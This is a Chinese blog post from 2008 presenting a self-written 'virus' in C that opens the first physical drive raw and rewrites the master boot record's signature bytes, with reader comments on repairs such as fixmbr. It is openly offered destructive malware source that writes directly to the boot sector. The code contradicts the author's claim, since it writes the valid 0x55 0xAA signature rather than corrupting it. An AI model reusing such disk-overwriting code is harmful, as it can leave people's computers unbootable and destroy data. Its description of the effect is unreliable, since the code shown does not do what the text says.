百度首页 | 百度空间
 
查看文章
 
自己写的病毒
2008年05月28日 星期三 21:46

#include <io.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <errno.h>

int main()
{
  int hand;
  char mbrBuf[512];
  char buf[100]={0};

  sprintf(buf,"\\\\.\\PhysicalDrive0");
  hand=open(buf,O_RDWR | O_BINARY,S_IREAD | S_IWRITE);
  read(hand,mbrBuf,512);
  mbrBuf[510]=0x55;
  mbrBuf[511]=0xAA;
  lseek(hand,0,SEEK_SET);
  write(hand,mbrBuf,512);
  close(hand);

  return 0;
}

只是小小地破坏了一下主引导区的两个标志字节,结果是,电脑没法启动
大部分代码是从grubinst中学来的
这个程序在xp下可以很正常的运行,而在vista下由于权限不够导致出错

使用debug的int 13可以很方便的恢复那两个字节(0x55 0xAA),或者用fixmbr和fdisk /mbr也应该可以修复


类别:It | 添加到搜藏 | 浏览() | 评论 (4)
 
最近读者:
 
网友评论:
1
2008年05月29日 星期四 11:26
厉害
 
2
2008年05月29日 星期四 12:07
很好很强大……
用fixmbr肯定可以,fdisk /mbr应该也行(不知道会不会有大硬盘不支持的问题,fdisk好老了的说……)

传说中的55AA破坏法,呵呵。
 
3
2008年05月29日 星期四 19:45
"fdisk /mbr"可以修复那两个标志位,但是重启之后直接蓝屏
 
4
2008年05月29日 星期四 21:15
哦……那就是fdisk修复的主引导区与所装系统的引导程序不兼容吧,猜得……
 
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码:
 

     

©2008 Baidu